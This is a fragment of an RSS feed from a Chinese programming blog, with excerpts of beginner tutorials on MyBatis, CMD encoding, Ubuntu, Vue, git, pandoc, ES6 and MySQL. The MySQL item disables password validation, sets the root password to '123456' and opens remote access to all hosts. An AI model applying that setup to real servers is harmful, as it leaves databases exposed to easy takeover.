resultMap=&#34;map&#34;，这是因为mubatis内置了很多别名。&#xA;使用map不需要 select as;&#xA;CarMapperTest.testSelectByIdRetMap @Test public void testSelectByIdRetMap(){ CarMapper mapper = SqlSessionUtil.</description>
    </item>
    <item>
      <title>修改cmd运行的字符集为UTF-8</title>
      <link>https://bchobby.github.io/posts/34cb551dc157d6aa2634a091a608b63f/</link>
      <pubDate>Fri, 07 Jul 2023 21:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34cb551dc157d6aa2634a091a608b63f/</guid>
      <description>更改 Windows 命令提示符（CMD）的默认代码页编码，&#xA;打开命令提示符（CMD）。&#xA;输入以下命令以打开注册表编辑器：regedit&#xA;导航到以下注册表路径：&#xA;HKEY_CURRENT_USER\Software\Microsoft\Command Processor 在右侧窗格中，查找名为 “Autorun” 的字符串值。如果该值不存在，请执行以下操作：&#xA;a. 在 “Command Processor” 键上右键，选择 “新建”，然后选择 “字符串值”。&#xA;b. 将新创建的字符串值命名为 “Autorun”。&#xA;右键单击 “Autorun”，选择 “修改”。&#xA;在 “值数据” 字段中，输入以下命令来设置新的代码页编码（将 “X” 替换为所需的代码页编码编号）：&#xA;chcp X &amp;gt; nul utf-8 65001美国 MS-DOS 437936：简体中文（GB2312）950：繁体中文（Big5）932：日文（Shift-JIS）949：韩文（KS C 5601）1252：西欧语言（Windows-1252）1251：西里尔语（Windows-1251）1254：土耳其语（Windows-1254）1256：阿拉伯语（Windows-1256）1255：希伯来语（Windows-1255） 点击 “确定” 保存更改。&#xA;关闭注册表编辑器。&#xA;从现在开始，每次打开命令提示符时，都会自动应用设置的默认代码页编码。</description>
    </item>
    <item>
      <title>mybatis打印sql日志</title>
      <link>https://bchobby.github.io/posts/562fa18921f4e73e8452c3548b77130f/</link>
      <pubDate>Fri, 07 Jul 2023 21:46:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/562fa18921f4e73e8452c3548b77130f/</guid>
      <description>背景： 我们日常操作数据库的过程一般都是使用mybatis中执行sql操作，有时候为了确认mybatis拼接的sql是否正确，就需要在日志中打印出具体的sql语句，对应的入参以及数据库的返回值&#xA;打印mybatis的sql日志: 一.sql日志输出到控制台，修改mybatis-config文件，指定如下配置：&#xA;&amp;lt;setting name=&#34;logImpl&#34; value=&#34;STDOUT_LOGGING&#34;/&amp;gt; 二.sql日志输出到文件，修改mybatis-config文件，指定如下配置&#xA;2.1 &amp;lt;!--指定 MyBatis 增加到日志名称的前缀,注意这里有一个.号--&amp;gt; &amp;lt;setting name=&#34;logPrefix&#34; value=&#34;sqlLogFileName.&#34;/&amp;gt; &amp;lt;!--指定 MyBatis 所用日志的具体实现，未指定时将自动查找。SLF4J | LOG4J | LOG4J2 | JDK_LOGGING | COMMONS_LOGGING | STDOUT_LOGGING | NO_LOGGING--&amp;gt; &amp;lt;setting name=&#34;logImpl&#34; value=&#34;SLF4J&#34;/&amp;gt; 2.2 logback或者log4j增加配置：&#xA;appender(&#34;ROLLING&#34;, RollingFileAppender) { encoder(PatternLayoutEncoder) { Pattern = &#34;[%d{yyyy-MM-dd HH:mm:ss.SSS}] [%level] [%thread] [%logger{50}] &amp;gt;&amp;gt;&amp;gt; %msg%n&#34; } rollingPolicy(SizeAndTimeBasedRollingPolicy) { fileNamePattern = &#34;log-%d{yyyy-MM-dd}-%i.log&#34; maxFileSize = &#34;2GB&#34; } } appender(&#34;ROLLING-ASYNC&#34;, AsyncAppender) { queueSize = 40960 neverBlock = true appenderRef(&#34;</description>
    </item>
    <item>
      <title>qtcreator为项目添加文件夹和文件</title>
      <link>https://bchobby.github.io/posts/3608b3245c34640bd9a1a6b94a7c742d/</link>
      <pubDate>Fri, 07 Jul 2023 21:05:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3608b3245c34640bd9a1a6b94a7c742d/</guid>
      <description>一，目标 下面是我的项目结构&#xA;我想将一个第三方库的文件夹及其中的文件添加到我的项目中，要添加的文件夹是这个src以及其中所有的h和cpp文件&#xA;二，步骤 1，将需要的src文件夹复制粘贴到项目所在目录中&#xA;为了后续开发，我还将该文件夹改名成dxflib&#xA;2，此时qtcreator里面还是没有这个dxflib，继续下面步骤&#xA;3，现在，dxflib就添加进来了&#xA;4，现在，我在main中调用dxflib下dl_dxf.h会报错&#xA;5，两种解决方法&#xA;第一种：改成#include &#34;dxflib/dl_dxf.h&#34;，但是这样每次要调用都要前面加一个文件路径，所以我更喜欢第二种。&#xA;第二种：在.pro中的HEADERS +下的最后面加一句INCLUDEPATH +=$$PWD/dxflib （上述代码中的 $$PWD 表示当前项目文件所在的路径。$$PWD/dxflib 将 dxflib 文件夹添加为包含路径。）&#xA;现在main中的就不会报错了，就可以快乐地玩耍了。</description>
    </item>
    <item>
      <title>VS code控制台不能输入</title>
      <link>https://bchobby.github.io/posts/c1a61456681f13f8ae0d14ea0a979338/</link>
      <pubDate>Fri, 07 Jul 2023 20:53:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1a61456681f13f8ae0d14ea0a979338/</guid>
      <description>调试的时候发现，不能在集成终端中输入，但是却可以在额外弹出的终端中输入。&#xA;关闭C/C++ compile and run 插件里面的选项&#xA;Whether should run in external terminal</description>
    </item>
    <item>
      <title>Ubuntu 20.04.6服务版的安装</title>
      <link>https://bchobby.github.io/posts/8c4d9fc3c19f2a44e8add63e3afed1c2/</link>
      <pubDate>Fri, 07 Jul 2023 18:48:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c4d9fc3c19f2a44e8add63e3afed1c2/</guid>
      <description>目录&#xA;一、Ubuntu安装包的下载&#xA;二、虚拟机的设置&#xA;第一步、创建虚拟机&#xA;第二步、选择虚拟机的硬件&#xA;第三步、操作系统安装来源选择&#xA;第四步、选择虚拟机所安装的系统&#xA;第五步、选择虚拟机存放的位置&#xA;第六步、对虚拟机的硬件设备进行配置&#xA;第七步、虚拟机网络的配置&#xA;第八步、更改I/O控制器和磁盘类型&#xA;第九步、虚拟机磁盘的设置&#xA;第十步、选择ISO镜像文件&#xA;三、执行安装&#xA;第一步、选择安装语言&#xA;第二步、选择键盘语言类型&#xA;第三步、网卡的配置&#xA;第四步、代理配置（DNS配置）&#xA;第五步、配置apt的镜像&#xA;第六步、磁盘的建立和选择&#xA;第七步、用户的创建&#xA;第八步、OpenSSHserver插件的安装&#xA;第九步、安装&#xA;第十步、配置静态IP&#xA;一、Ubuntu安装包的下载 Ubuntu是Linux大家族的一种，具有巨大的开源社区，即适合家庭个人使用又适用于商业环境，Ubuntu社区承诺每6个月发布一个新版本，以提供最新最强大的软件。 Ubuntu的名称来自非洲南部祖鲁语或豪萨语的“ubuntu&#34;一词，意思是“人性”“我的存在是因为大家的存在&#34;，是非洲传统的一种价值观。 Ubuntu第⼀个版本是发布于 2004年，所以 Ubuntu 的⽣⽇是 2004 年的 10 ⽉ 20 ⽇。之后Ubuntu发行会遵循一个准则，Ubuntu 20.04.6 也就意味着 2020年 4 ⽉6日发布的版本。&#xA;ubuntu的下载网站&#xA;ubuntu官网: https://ubuntu.com/download&#xA;ubuntu清华镜像源：https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/20.04/1&#xA;浙江大学：Index of /ubuntu-releases/&#xA;中科大源：http://mirrors.ustc.edu.cn/ubuntu-releases/&#xA;阿里云开源镜像站：http://mirrors.aliyun.com/ubuntu-releases/&#xA;北京理工大学开源：http://mirror.bit.edu.cn/ubuntu-releases/&#xA;下载好安装包ubuntu-20.04.6-live-server-amd64.iso后，就可以执行下一步。&#xA;二、虚拟机的设置 个人使用的虚拟机安装软件为VMware® Workstation 17 Pro版本17.0.0 build-20800274&#xA;第一步，创建虚拟机 个人推荐自定义安装，而不采用典型安装，原自定义安装可以对虚拟磁盘及I/O控制器(SCSI控制器)进行修改，且自定义安装比典型安装具有更多的设置功能。&#xA;第二步、选择虚拟机的硬件 这一步可以选择虚拟机的硬件兼容性，一般默认选项&#xA;第三步、操作系统安装来源选择 在VMware® Workstation 17 Pro中我们可以选择默认简易安装来安装虚拟机的操作系统，但为了能之后自我选择设置，选择第三项稍后安装操作系统，点击下一步。&#xA;第四步、选择虚拟机所安装的系统 这个得按照自己使用的设备来决定，64位选择64位，32位只能选择32位。</description>
    </item>
    <item>
      <title>快速集成Knife4j</title>
      <link>https://bchobby.github.io/posts/5c8c24c8d5d9ecc7d0cf9e62468eaab0/</link>
      <pubDate>Fri, 07 Jul 2023 17:25:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5c8c24c8d5d9ecc7d0cf9e62468eaab0/</guid>
      <description>1.引入依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.github.xiaoymin&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;knife4j-spring-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger2&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;io.springfox&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;springfox-swagger-ui&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 2.配置类 package com.heima.common.swagger; import com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Import; import springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration; import springfox.documentation.builders.ApiInfoBuilder; import springfox.documentation.builders.PathSelectors; import springfox.documentation.builders.RequestHandlerSelectors; import springfox.documentation.service.ApiInfo; import springfox.documentation.spi.DocumentationType; import springfox.documentation.spring.web.plugins.Docket; import springfox.documentation.swagger2.annotations.EnableSwagger2; @Configuration @EnableSwagger2 @EnableKnife4j @Import(BeanValidatorPluginsConfiguration.class) public class Swagger2Configuration { @Bean(value = &#34;defaultApi2&#34;) public Docket defaultApi2() { Docket docket=new Docket(DocumentationType.SWAGGER_2) .apiInfo(apiInfo()) //分组名称 .groupName(&#34;1.0&#34;) .select() //这里指定Controller扫描包路径 .apis(RequestHandlerSelectors.basePackage(&#34;com.heima&#34;)) .paths(PathSelectors.any()) .build(); return docket; } private ApiInfo apiInfo() { return new ApiInfoBuilder() .</description>
    </item>
    <item>
      <title>vue基础-创建vue项目的几种方式</title>
      <link>https://bchobby.github.io/posts/d4ae1bce07317aa2cbff28a47ad94794/</link>
      <pubDate>Fri, 07 Jul 2023 16:44:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4ae1bce07317aa2cbff28a47ad94794/</guid>
      <description>文章目录 前言一、npm与pnpm包管理工具二、vue脚手架cli三、创建vue项目的几种方式三、使用vite创建项目总结 前言 vue基础，下面总结一下vue项目的第一步，创建项目的几种方式，希望对你有所帮助。&#xA;一、npm与pnpm包管理工具 1、安装node&#xA;https://nodejs.org/en 二、vue脚手架cli 1、查看是否安装了cli&#xA;vue --version 或 vue -V 2、全局安装cli&#xA;npm install -g @vue/cli 三、创建vue项目的几种方式 1、vue ui 创建项目&#xA;vue ui 2、 vue init webpack&#xA;npm install -g webpack vue init webpack 3、 vue create （项目名）&#xA;vue create your-project-name 三、使用vite创建项目 1、安装vite的方法&#xA;npm install -g vite 2、使用vite创建项目&#xA;npm init vue@latest 总结 这是Vue创建项目的几种方式，希望能帮助到你。</description>
    </item>
    <item>
      <title>vscode和uniapp如何使用git提交代码</title>
      <link>https://bchobby.github.io/posts/ad4efca1aaeb446ab76e294c7e6ce1ab/</link>
      <pubDate>Fri, 07 Jul 2023 15:05:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad4efca1aaeb446ab76e294c7e6ce1ab/</guid>
      <description>1.下载安装git，配置基础信息 name,email等&#xA;git config user.name git config user.password git config user.email 查配置 git config --list 2.创建项目&#xA;3.初始化仓库&#xA;git init 4.链接远程仓库&#xA;git remote add origin 远程仓库链接 注：vscode和uniapp中也可以直接输入远程仓库链接，如果找不到位置则可以直接使用命令&#xA;5.提交代码&#xA;uniapp:&#xA;安装esay-git插件选择项目右键,要先初始化才能有上图的内容，若没初始化，右键可以看到git init初始化，可以直接在uniapp中初始化初始化成功后会弹出上图，让输入远程仓库和用户名以及邮箱，自己配置就行配置完成后点击图一中的esay-git源码，点击左下角可以切换/创建分支可以协同项目需要先拉取项目，点击右上角更多，选择拉取点击图中的加号可以将修改内容提交值暂存区，图中右下角的位置也会提示当前步骤为什么，是否成功，相当于git add ***在输入框中输入本次提交内容，相当于git commit -m &#34;***&#34;，然后点击对号即可commit 成功后点击更多，选择推送，推送完成后上传成 vscode操作和上述基本相同，</description>
    </item>
    <item>
      <title>NXP-无感BLDC代码MCSPTE1AK116_BLDC_6Step代码详解</title>
      <link>https://bchobby.github.io/posts/7579fcd08c7798add71c0f237a1eca07/</link>
      <pubDate>Fri, 07 Jul 2023 14:56:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7579fcd08c7798add71c0f237a1eca07/</guid>
      <description>目录&#xA;开发平台&#xA;工程目录&#xA;Generated_Code&#xA;Sources&#xA;Config&#xA;电机的参数&#xA;BLDC参数&#xA;无感模式下的一些参数&#xA;Peripherals&#xA;FTM/PDB/ADC配置参数&#xA;actuate_s32k&#xA;meas_s32k&#xA;motor_structure&#xA;state_machine&#xA;main&#xA;main()主函数&#xA;PORT_IRQHandler()&#xA;PDB0_IRQHandler()&#xA;FTM1_Ovf_Reload_IRQHandler()重点&#xA;ADC0_IRQHandler()重点&#xA;LPIT0_IRQHandler()重点&#xA;CheckSwitchState()&#xA;CheckFaults()&#xA;StallCheck()&#xA;状态切换函数&#xA;AppInit()&#xA;AppStop()&#xA;AppCalib()&#xA;AppStopToAlignment()&#xA;AppAlignment()&#xA;AppAlignmentToStart()&#xA;AppStart()&#xA;AppStartToRun()&#xA;AppRun()&#xA;AppFault()&#xA;对MCSPTE1AK116_BLDC_6Step工程代码进行理解&#xA;开发平台 开发平台S32DS for ARM V2.2&#xA;文章可以配合无感BLDC对应技术文档使用&#xA;工程目录 重点关注红色框圈出来的部分&#xA;Generated_Code 这个文件夹下的文件是你配置完CPU基本外设模块后自动生成的代码&#xA;比如在pin_mux.c下，则是你配置的各种GPIO&#xA;其它各模块类似。&#xA;Sources Sources目录下则是我们需要的电控应用层文件&#xA;Config Config下有两个头文件&#xA;其中BLDC_appconfig.h文件中有：&#xA;电机的参数 //Motor Parameters //---------------------------------------------------------------------- //Pole-pair number = 2 [-] //Back-EMF constant = 0.005872 [V.sec/rad] //Phase current nominal FRAC16(0.</description>
    </item>
    <item>
      <title>使用python调用ChatGPT API 简单示例</title>
      <link>https://bchobby.github.io/posts/1c8d3d7bea8a7543d927e7c1a1f376ac/</link>
      <pubDate>Fri, 07 Jul 2023 14:08:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c8d3d7bea8a7543d927e7c1a1f376ac/</guid>
      <description>如果你已经获得了OpenAI的API密钥，并且想要使用Python发起ChatGPT对话，你可以使用OpenAI的Python SDK来实现。下面是一个简单的示例代码：&#xA;首先，你需要确保已安装OpenAI的Python SDK。你可以使用pip来安装：&#xA;pip install openai 然后，你可以使用以下代码来发起对话：&#xA;import openai # 设置你的API密钥 openai.api_key = &#39;YOUR_API_KEY&#39; # 定义对话起始语句 conversation_start = &#39;你好，&#39; user_input = &#39;&#39; while user_input.lower() != &#39;结束对话&#39;: # 用户输入 user_input = input(&#34;用户: &#34;) # 合并用户输入和对话起始语句 input_text = conversation_start + user_input # 发送请求获取模型的回复 response = openai.Completion.create( engine=&#39;text-davinci-003&#39;, prompt=input_text, max_tokens=50, temperature=0.6 ) # 解析并打印模型的回复 model_reply = response.choices[0].text.strip() print(&#34;ChatGPT: &#34; + model_reply) 确保将 &#39;YOUR_API_KEY&#39; 替换为你的实际API密钥。以上代码将循环接收用户输入并将其与对话起始语句结合，然后将组合后的文本发送给ChatGPT&#xA;效果展示：&#xA;如何获取API key：&#xA;地址：&#xA;https://platform.openai.com/account/api-keys</description>
    </item>
    <item>
      <title>Windows系统中将markdown文件批量转化为PDF</title>
      <link>https://bchobby.github.io/posts/fead923de4eb8c3f9d8db721970574e8/</link>
      <pubDate>Fri, 07 Jul 2023 14:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fead923de4eb8c3f9d8db721970574e8/</guid>
      <description>需要将一个文件夹下的多个md文件转化为PDF&#xA;下载安装pandoc 官网下载地址：Pandoc ，下载位置如下图。&#xA;下载后按照默认文件路径安装完成&#xA;使用everything软件查找pandoc.exe文件路径，如下图：&#xA;安装完成之后就可以在cmd窗口或Windows power shell中使用pandoc指令了，例如：&#xA;pandoc test.md -o test.pdf #将test.md转化为test.pdf 通过bat脚本进行批量转化 编写bat脚本 bat脚本示例如下：&#xA;@echo off setlocal enabledelayedexpansion set &#34;PANDOC_PATH=path\to\pandoc.exe&#34; //将&#34;path\to\pandoc.exe&#34;替换为你的Pandoc可执行文件的路径 set &#34;INPUT_FOLDER=path\to\input\folder&#34; //将&#34;path\to\input\folder&#34;替换为你的Markdown文件所在的文件夹路径 set &#34;OUTPUT_FOLDER=path\to\output\folder&#34; //将&#34;path\to\output\folder&#34;替换为你希望保存PDF文件的文件夹路径 for %%F in (&#34;%INPUT_FOLDER%\*.md&#34;) do ( set &#34;INPUT_FILE=%%~F&#34; set &#34;OUTPUT_FILE=!OUTPUT_FOLDER!\%%~nF.pdf&#34; &#34;%PANDOC_PATH%&#34; &#34;!INPUT_FILE!&#34; -o &#34;!OUTPUT_FILE!&#34; ) echo Conversion completed. pause 双击执行bat文件即可&#xA;报错 双击执行上面的bat文件会报错，报错信息如下：&#xA;Error producing PDF. ! Package inputenc Error: Unicode character 绗? pandoc.exe: : hPutChar: permission denied (Permission denied) 解决 报错原因是markdown文件中有中文，为了支持中文，我们需要生成一个自己的tex模板。</description>
    </item>
    <item>
      <title>ES6知识点汇总(4)--函数</title>
      <link>https://bchobby.github.io/posts/09700daeb9736737e2f560231bac0b46/</link>
      <pubDate>Fri, 07 Jul 2023 13:45:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/09700daeb9736737e2f560231bac0b46/</guid>
      <description>1. ES6中函数新增了哪些扩展? 1、参数&#xA;ES6允许为函数的参数设置默认值&#xA;function log(x, y = &#39;World&#39;) { console.log(x, y); } console.log(&#39;Hello&#39;) // Hello World console.log(&#39;Hello&#39;, &#39;andy&#39;) // Hello andy console.log(&#39;Hello&#39;, &#39;&#39;) // Hello 函数的形参是默认声明的，不能使用let或const再次声明&#xA;function foo(x = 3) { let x = 1; // error const x = 2; // error } 参数默认值可以与解构赋值的默认值结合起来使用&#xA;function foo({x, y = 3}) { console.log(x, y); } foo({}) // undefined 3 foo({x: 1}) // 1 3 foo({x: 1, y: 2}) // 1 2 foo() // TypeError: Cannot read property &#39;x&#39; of undefined 上面的foo函数，当参数为对象的时候才能进行解构，如果没有提供参数的时候，变量x和y就不会生成，从而报错，这里设置默认值避免</description>
    </item>
    <item>
      <title>Python 之 基本概述</title>
      <link>https://bchobby.github.io/posts/9738d98456ad21d289b0fa0d6a6d4216/</link>
      <pubDate>Fri, 07 Jul 2023 12:19:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9738d98456ad21d289b0fa0d6a6d4216/</guid>
      <description>这里写目录标题 一、Python 简介1. 历史背景2. 特点3. 优缺点4. 应用领域 二、Python 解释器1. 解释器是什么？2. 解释器的构成及其各部分功能3. 解释器的执行过程 三、Python 环境安装四、第一个 Python 程序1. 实际操作2. 常见问题 五、Python 开发环境 一、Python 简介 1. 历史背景 Python 是一种高级编程语言，由荷兰人吉多·范罗苏姆（Guido van Rossum）于 1980 年代中期发明并首次发布。他最初设计 Python 语言是为了解决他在编程中遇到的问题，并希望创造一种比 C 语言更易用、更具有表达力和动态性的语言。Python 的名字来源于英国广播剧《巨蟒与香蕉》（Monty Python），这是一种幽默、调侃式的文化现象，也是 Python 语言的一个特色。Python 语言的设计哲学是优雅、明确、简单，它具有丰富的库和广泛的应用领域，包括 Web 开发、数据分析、人工智能、科学计算、网络编程、GUI 编程等等。由于其易学易用、可读性强、可扩展性好的特点，Python 已经成为目前最受欢迎的编程语言之一，在编程语言排行榜上一直名列前茅。 2. 特点 （1） 简单易学：Python 的语法简单易懂，容易上手，适合初学者学习。（2） 可读性强：Python 的代码结构清晰，缩进规则明确，代码可读性强，易于维护。（3） 可扩展性好：Python 支持多种编程范式，包括面向对象、函数式、过程式等，同时也支持 C/C++ 扩展，可以方便地与其他语言进行交互。（4） 库丰富：Python 拥有丰富的标准库和第三方库，可以满足各种需求，如数据处理、网络编程、图形界面等。（5） 跨平台性强：Python 可以在多种操作系统上运行，包括 Windows、Linux、Mac OS 等。 3. 优缺点 Python 具有如下优点：（1） 简单易学，适合初学者学习。（2） 可读性强，易于维护。（3） 可扩展性好，支持多种编程范式和 C/C++ 扩展。（4） 库丰富，可以满足各种需求。（5） 跨平台性强，可以在多种操作系统上运行。Python 具有如下缺点：（1） 性能较低，与 C/C++ 相比，Python 的执行速度较慢。（2） 代码保密性差，Python 的代码可以很容易地被反编译。（3）不适合开发大型项目，Python 的模块化和代码结构不如 Java 等语言。 4.</description>
    </item>
    <item>
      <title>bootstarp表格数据和分页之间出现空白间隙</title>
      <link>https://bchobby.github.io/posts/cfae683b84b4b891ea20667e4a35aed8/</link>
      <pubDate>Fri, 07 Jul 2023 11:32:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cfae683b84b4b891ea20667e4a35aed8/</guid>
      <description>出现效果&#xA;解决方案&#xA;设置样式为自适应&#xA;&amp;lt;style type=&#34;text/css&#34;&amp;gt;&#xA;.fixed-table-body{&#xA;height: auto&#xA;}&#xA;&amp;lt;/style&amp;gt;</description>
    </item>
    <item>
      <title>ES6知识点汇总(3)--对象</title>
      <link>https://bchobby.github.io/posts/ab6036ea50915e48d525188c071d8ba3/</link>
      <pubDate>Fri, 07 Jul 2023 11:29:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab6036ea50915e48d525188c071d8ba3/</guid>
      <description>1. ES6中对象新增了哪些扩展? 1、属性的简写&#xA;ES6中，当对象键名与对应值名相等的时候，可以进行简写&#xA;const func= {foo:foo} // 等同于 const func= {foo} 方法也能够进行简写 const obj = { method() { return &#34;Hello!&#34;; } }; // 等同于 const obj = { method: function() { return &#34;Hello!&#34;; } } 在函数内作为返回值，也会变得方便很多&#xA;function getPoint() { const x = 10; const y = 20; return {x, y}; } getPoint() // {x:10, y:20} 注意：简写的对象方法不能用作构造函数，否则会报错&#xA;const obj = { f() { this.foo = &#39;zoo&#39;; } }; new obj.</description>
    </item>
    <item>
      <title>CentOS7在线安装MySQL新手小白教程</title>
      <link>https://bchobby.github.io/posts/41c4545bbd550295fb03f34c943c1470/</link>
      <pubDate>Fri, 07 Jul 2023 10:44:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/41c4545bbd550295fb03f34c943c1470/</guid>
      <description>1、下载并安装MySQL官方的 Yum Repository wget -i -c http://dev.mysql.com/get/mysql57-community-release-el7-10.noarch.rpm 使用上面的命令下载安装用的Yum Repository&#xA;yum -y install mysql57-community-release-el7-10.noarch.rpm 开始安装MySQL服务器&#xA;yum -y install mysql-community-server 如果网络慢的话会花点时间请耐心等待&#xA;注意:安装mysql时如果出现Public key for mysql-community-common-5.7.42-1.el7.x86_64.rpm is not installed告先执行导入密匙在重新安装&#xA;rpm --import https://repo.mysql.com/RPM-GPG-KEY-mysql-2022 yum install -y mysql-community-server 2、MySQL数据库启动设置 #启动MySQL systemctl start mysqld.service 查看MySQL运行状态 systemctl status mysqld.service 运行状态如图：&#xA;在日志文件中获取随机登录密码：&#xA;grep &#34;password&#34; /var/log/mysqld.log 使用命令连接数据库,会让我们输入密码,密码就是上一步获取的&#xA;[root@localhost ~]# mysql -uroot -p 输入初始密码，此时不能做任何事情，因为MySQL默认必须修改密码之后才能操作数据库：&#xA;其中‘new password’替换成你要设置的密码，注意:密码设置必须要大小写字母数字和特殊符号（,/’;:等）,不然不能配置成功,当然可以把密码校验给干掉&#xA;#执行这条语句干掉密码校验策略 uninstall plugin validate_password; ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;new password&#39;; ALTER USER &#39;root&#39;@&#39;localhost&#39; IDENTIFIED BY &#39;123456&#39;; 3、开启mysql的远程访问 执行以下命令开启远程访问限制（注意：password替换自己的密码，%代表所有IP）：</description>
    </item>
    <item>
      <title>word免费转为pdf怎么转，分享这几个方法给大家！</title>
      <link>https://bchobby.github.io/posts/3fca0c8de921c0a914cc560b09b64658/</link>
      <pubDate>Fri, 07 Jul 2023 09:58:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fca0c8de921c0a914cc560b09b64658/</guid>
      <description>将Word文档转换为PDF格式是一种常见的需求，因为PDF文件具有广泛的兼容性和安全性。本文将介绍三种免费转换Word为PDF的方法，包括记灵在线工具、使用Word自带功能以及使用Smallpdf。这些方法简单易行，帮助您轻松完成转换，方便与他人共享文档。&#xA;方法一：记灵在线工具 记灵在线工具不仅提供音频转文字的功能，还支持Word转PDF。该工具基于云计算技术，可以在浏览器中直接访问，无需下载和安装。以下是使用记灵在线工具将Word转换为PDF的步骤：&#xA;打开记灵在线工具的网页。选择“Word转PDF”选项。点击“选择文件”按钮，选择要转换的Word文档。等待上传和转换过程完成。转换完成后，点击“下载”按钮，即可保存PDF文件到本地。 方法二：使用Word自带功能 Microsoft Word自带了将文档保存为PDF的功能，无需安装其他工具。以下是使用Word自带功能转换Word为PDF的步骤：&#xA;打开要转换的Word文档。点击“文件”选项卡，在菜单中选择“另存为”。在另存为窗口中，选择保存位置和文件名。在“文件类型”下拉菜单中，选择“PDF”格式。点击“保存”按钮，即可将Word文档保存为PDF格式。 方法三：使用Smallpdf Smallpdf是一款在线PDF工具，提供了多种功能，包括将Word文档转换为PDF。以下是使用Smallpdf将Word转换为PDF的步骤：&#xA;打开Smallpdf的网页。在主页上找到并点击“Word转PDF”选项。将Word文档拖放到指定区域，或点击“选择文件”按钮上传Word文档。等待上传和转换过程完成。转换完成后，点击“下载”按钮，即可保存PDF文件到本地。 结语：&#xA;通过记灵在线工具、使用Word自带功能以及Smallpdf这三种方法，您可以免费将Word文档转换为PDF格式。无论是在线工具还是本地应用，它们都提供了简单易行的操作步骤，使您能够快速完成转换，并方便地与他人分享文档。根据个人需求和偏好，选择适合您的方法，享受高效的Word转PDF体验吧！</description>
    </item>
    <item>
      <title>微服务的影响：好的、坏的和未来</title>
      <link>https://bchobby.github.io/posts/7915388f0faf5471038accd7d944ef8d/</link>
      <pubDate>Fri, 07 Jul 2023 09:47:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7915388f0faf5471038accd7d944ef8d/</guid>
      <description>​探索微服务的各个方面，包括其优势、潜在风险以及有效利用它们的最佳实践。&#xA;自 COVID-19 大流行开始以来，对技术的依赖已经完全循环。在过去三年中，数字应用程序越来越多地用于银行，购物，尤其是医疗保健服务等需求，这引起了消费者对技术的需求，以帮助他们解决日常生活的各个方面。并非巧合的是，今天对应用程序工程师、开发人员和设计师的要求要求他们在软件中提供几年前不需要的多功能性。在网络安全攻击发生率处于历史最高水平的时候，现在有必要以更灵活的方式构建和扩展应用程序，以便在发生需要干预的事件时可以适当地解决它们。&#xA;微服务架构是提高当今软件系统的可靠性和可扩展性的更合适方法。在基于云的微服务体系结构中，大型应用程序被分解为较小的独立服务，这些服务通过应用程序编程接口 （API） 相互通信。这允许更集中的开发和部署，并简化维护和扩展。微服务方法与整体式软件应用程序形成鲜明对比，后者是作为单个统一单元构建的，构建和部署起来更加复杂和耗时。&#xA;站点可靠性工程师（SRE）欣赏微服务的优势，因为它们提供了更快的开发周期、改进的容错能力和更轻松的部署。同时，他们认识到微服务带来了新的挑战，例如监控的复杂性增加，跨多个服务跟踪问题，并认识到需要仔细管理服务间通信。这些挑战带来了与保护客户免受网络安全问题相关的重大危险信号。随着数字技术变得越来越复杂并融入社会，如果要维护隐私和安全，那么了解维护这种类型的架构的必要性非常重要。&#xA;将应用迁移到微服务的挑战 根据Tetrate的联合创始人Varun Talwar的说法，Tetrate是一个边缘到工作负载的应用程序连接平台，通过网格管理的环境将公司连接到服务，过渡到微服务架构是应用程序现代化的重大挑战，因为许多组织运行已经建立多年的复杂系统，如果要修改它们，可能会导致功能中断。&#xA;此外，协助公司实施云服务的多学科解决方案组织Asperitas Consulting进行的一项调查表明，由于人员配备和缺乏适当工具等问题，应用程序现代化具有挑战性。&#xA;从整体式架构迁移到微服务本身也可能是一项繁琐的任务。根据Semaphore的Tomas Fernandez的说法，只有在对所有替代路径进行评估后，才应考虑微服务，他还建议微服务应用程序可能最适合作为整体式软件和由于客户必须在自己的私有系统上手动部署和配置所有内容而在本地部署的非本地部署。&#xA;从单体架构迁移到微服务的一种方法，越来越多的行业专业人士正在取得成功，这是由 Heroku 开发人员创建的 12 因素应用程序方法，这是一种支持多种编程语言的云平台服务。&#xA;此过程的步骤包括：&#xA;在修订控制中跟踪一个代码库，并进行许多部署。&#xA;声明和隔离依赖项。&#xA;将所有配置数据与代码分开存储。&#xA;将后备服务视为附加资源。&#xA;分离生成和运行阶段。&#xA;确保应用是无状态的。&#xA;通过端口绑定导出服务。&#xA;将应用开发为并发。&#xA;构建一次性流程，以便可以快速启动、停止和重新部署应用，而不会丢失数据。&#xA;我们正在实现基于匹配环境的持续集成。&#xA;将日志流式传输到指定的选定位置。&#xA;将行政和管理任务作为一次性流程运行。&#xA;同样重要的是要注意，并非所有旧版应用都可以现代化，API 